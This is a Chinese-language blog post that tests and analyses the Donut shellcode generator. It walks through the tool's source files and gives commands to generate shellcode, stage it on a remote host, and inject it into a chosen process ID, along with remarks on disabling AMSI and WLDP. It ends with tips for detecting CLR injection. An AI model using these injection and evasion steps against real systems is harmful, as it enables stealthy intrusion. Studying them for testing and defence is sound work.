Shellcode 生成工具 Donut 测试分析

发布于 2025-02-03 11:30:17 字数 11111 浏览 0 评论 0

0x00 前言

Donut 是一个 shellcode 生成工具,可以将.NET 程序集转换为 shellcode。这是对 execute-assembly 的进一步利用,隐蔽性更高,可扩展性更强。

结合 byt3bl33d3r 的 SILENTTRINITY ,将其转换为 shellcode 并进行注入,适用性更广。

本文将会对 Donut 进行测试,逐个分析 Donut 工程中的代码,总结这个工具的特点。

注:本文测试的版本使用的是 Donut v0.9,新版本将会添加更多的功能,值得持续关注

Donut 地址:https://github.com/TheWover/donut

介绍 Donut 细节的文章:

0x01 简介

本文将要介绍以下内容:

  • 相关技术介绍
  • 源码结构
  • 实际测试
  • 利用分析

0x02 相关技术介绍

1.Assembly.Load

用于在当前进程中加载.NET 程序集,无法注入其他进程

.NET 程序集的测试代码:

namespace ConsoleApplication1
{
    public class Program
    {
        public static void test()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";  
            p.Start();
        }
        static void Main(string[] args)
        {
            test();
        }   
    }
}

加载这个.NET 程序集的时候会弹出计算器,用作验证功能

(1) Powershell 实现 Assembly.Load

$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()

注:可参考之前的文章 《利用 Assembly Load & LoadFile 绕过 Applocker 的分析总结》

(2) C#实现 Assembly.Load

https://github.com/anthemtotheego/SharpCradle

代码实现了从远程服务器下载.NET 程序集并通过 Assembly.Load 进行加载

2.execute-assembly

从内存中加载.NET 程序集,能够以 dll 的形式注入到其他进程中

注:可参考之前的文章 《从内存加载.NET 程序集(execute-assembly) 的利用分析》

整个过程在内存执行,不写入文件系统(此时注入 dll 需要使用 Dll 反射)

Payload 以 dll 形式存在,不会产生可疑的进程

注:如果使用 Loadlibrary 加载 dll,dll 必须写入文件系统

3.Donut

基于 execute-assembly,以 shellcode 的形式实现从内存中加载.NET 程序集

优点是注入到其他进程时不再依赖于 Dll 反射,更隐蔽,更易于扩展

更隐蔽是指注入其他进程时不会存在 dll

更易于扩展是指能够执行 shellcode 的方法都可以使用 Donut,基于 Donut 的二次开发也很容易

0x03 源码结构

针对 0.9 版本的文件

1、子项目

1.DemoCreateProcess

https://github.com/TheWover/donut/tree/master/DemoCreateProcess

c#程序,编译后生成文件 ClassLibrary.dll,功能为将传入的两个参数作为启动进程

可通过 Donut 将其转换成 shellcode,用作测试 Donut 生成 shellcode 的功能是否有效

2.DonutTest

https://github.com/TheWover/donut/tree/master/DonutTest

C# 程序,编译后生成文件 DonutTest.exe,用于向指定 pid 的进程注入 shellcode

实现细节:数组中保存 base64 加密后的 shellcode,解密后通过 CreateRemoteThread 注入到指定进程

3.rundotnet.cpp

https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp

C 程序,编译后的文件为 rundotnet.exe,用于读取指定文件并使用 CLR 从内存加载.NET 程序集

从内存加载.NET 程序集使用的方法:

  • 使用当前系统中最新版本的.Net
  • 使用 ICorRuntimeHost 接口
  • 使用 Load_3(...) 从内存中读取并加载.NET 程序集的 Main 方法

4.ModuleMonitor

https://github.com/TheWover/donut/tree/master/ModuleMonitor

使用 WMI 事件 Win32_ModuleLoadTrace 来监视模块加载,如果发现 CLR 注入,将会标记

WMI 事件 Win32_ModuleLoadTrace:https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace

程序中判断 CLR 注入的方法:

如果进程加载了 CLR,但程序不是.NET 程序集,则 CLR 已注入其中

程序中判断进程加载 CLR 的方法:

进程是否加载了与 CLR 相关的 dll(mscoree.dll,mscoreei.dll 和 mscorlib.dll),dll 以"msco"开头

这个工程一般是作防御检测用,用来检测系统是否产生了 CLR 注入事件,所以在启动后进程会一直执行,实时记录系统加载新模块的事件

这个地方使用 tasklist.exe 也能实现类似的功能,命令如下:

tasklist /m msco*

能够获得哪些进程调用了以 msco 开头的 dll

5.ProcessManager

https://github.com/TheWover/donut/tree/master/ProcessManager

用于枚举当前计算机或远程计算机上的进程

同 tasklist.exe 的功能类似,增加以下功能:

  • 判断进程权限
  • 判断进程位数(32 位还是 64 位)
  • 判断进程是否加载 CLR

2、组件

1. https://github.com/TheWover/donut/blob/master/payload/payload.c

Donut 的关键功能,实现以下操作:

(1) 获得 shellcode 并解密

提供两种方式:

  • 从 payload.h 读取 shellcode 和解密密钥
  • 从 HTTP 服务器下载 shellcode 和解密密钥

(2) 使用 CLR 从内存加载.NET 程序集

  • 调用 ICLRMetaHost::GetRuntime 方法获取 ICLRRuntimeInfo 指针
  • 使用 ICorRuntimeHost 接口
  • 尝试关闭 AMSI 和 WLDP
  • 使用 Load_3(...) 从内存中读取

注:介绍关闭 AMSI 和 WLDP 的细节:https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

值得注意的地方:

通常情况下,使用 ICorRuntimeHost 接口时需要调用 mscorlib.tlb

这里并没有使用 mscorlib.tlb,是通过手动定义的方式实现

更多细节可参考:https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

2. https://github.com/TheWover/donut/tree/master/payload/exe2h

用来将 exe 转换为 shellcode 并保存到数组中

从 payload.exe 中的.text 段中提取已编译的机器码(包括 dll 和解密密钥),将其作为数组保存到 payload_exe_x64.h 或 payload_exe_x86.h

3. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h

存储 64 位的机器码(包括 dll 和解密密钥)

4. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h

存储 32 位的机器码(包括 dll 和解密密钥)

5. https://github.com/TheWover/donut/blob/master/payload/inject.c

使用 RtlCreateUserThread 向指定进程注入 shellcode

可用作测试向指定进程注入 shellcode 的功能

6. https://github.com/TheWover/donut/blob/master/payload/runsc.c

C/S 架构,两个功能,可以发送和接收 shellcode 并执行

用于测试 payload.bin 的功能

7. https://github.com/TheWover/donut/blob/master/encrypt.c

对称加密的实现

8. https://github.com/TheWover/donut/blob/master/hash.c

API Hashing,这里使用了 Maru hash

9. https://github.com/TheWover/donut/blob/master/donut.c

主程序,用于将.NET 程序集转换成 shellcode

0x04 实际测试

1、选择测试 dll

这里使用子项目 DemoCreateProcess

编译后生成文件 ClassLibrary.dll

2、使用 Donut 生成 shellcode

64 位:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32 位:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

命令执行后生成文件 payload.bin

如果加了-u 指定 URL,会再生成一个随机名称的 Module 文件,实例如下:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

生成文件 payload.bin 和 YX63F37T

将 YX63F37T 上传到 http://192.168.1.1

接下来通过注入 shellcode 的方式执行 payload.bin,payload.bin 会从 http://192.168.1.1/YX63F37T 下载实际的 shellcode 并执行

3、查看进程信息

这里使用子项目 ProcessManager

列出进程后,Managed 选项如果为 True,代表该进程已经加载 CLR

ProcessManager 支持对指定进程进行筛选,例如只查看 notepad.exe 的进行信息,命令如下:

ProcessManager.exe --name notepad

4、注入 shellcode

假设目标进程为 3306

(1) 使用子项目 DonutTest

将 payload.bin 作 base64 编码并保存在剪贴板,powershell 命令如下:

$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

替换 DonutTest 工程中对应的变量,编译成功后执行如下命令:

DonutTest.exe 3306

(2) 使用 RtlCreateUserThread

https://github.com/TheWover/donut/blob/master/payload/inject.c

命令如下:

inject.exe 3306 payload.bin

5、检测

列出加载了 CLR 但不是.NET 程序集的进程,命令如下:

tasklist /m msco*

0x05 利用分析

Donut 能够将.NET 程序集转换为 shellcode

也就是说,使用 C#开发的程序都能通过 Donut 转换成 shellcode

就目前的趋势来说,C#开源的工具越来越多,例如:

在渗透测试中,C#将会逐步替代 Powershell,Donut 的利用也会是一个趋势

Donut 的利用思路:

  1. 将.NET 程序集转换为 shellcode,例如配合 SILENTTRINITY 使用
  2. 作为模块集成到其他工具中
  3. 扩展功能:支持类似 meterpreter 的 migrate 功能

为了更为隐蔽,可以先使用 ProcessManager 列举已经加载 CLR 的进程,对其进行注入

Donut 的检测:Donut 需要使用 CLR 从内存中加载.NET 程序集,可采取以下方法进行检测:

  • 进程不是.NET 程序集
  • 进程加载了与 CLR 相关的 dll(dll 以"msco"开头)

注:

正常程序也有可能存在这个行为

两种检测方法:

  • 使用命令 tasklist /m msco*
  • 使用 WMI 事件 Win32_ModuleLoadTrace 来监视模块加载

对满足以上条件的进程重点监控

0x06 小结

本文对 Donut 进行了测试分析,总结利用思路,给出防御建议。Donut 值得深入研究,期待 Donut 的新版本。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

花伊自在美

暂无简介

文章
评论
26 人气
更多

推荐作者

qq_QW8UFI

文章 0 评论 0

下壹個目標

文章 0 评论 0

好久不见√

文章 0 评论 0

hsp

文章 0 评论 0

夕拾、秋藏

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文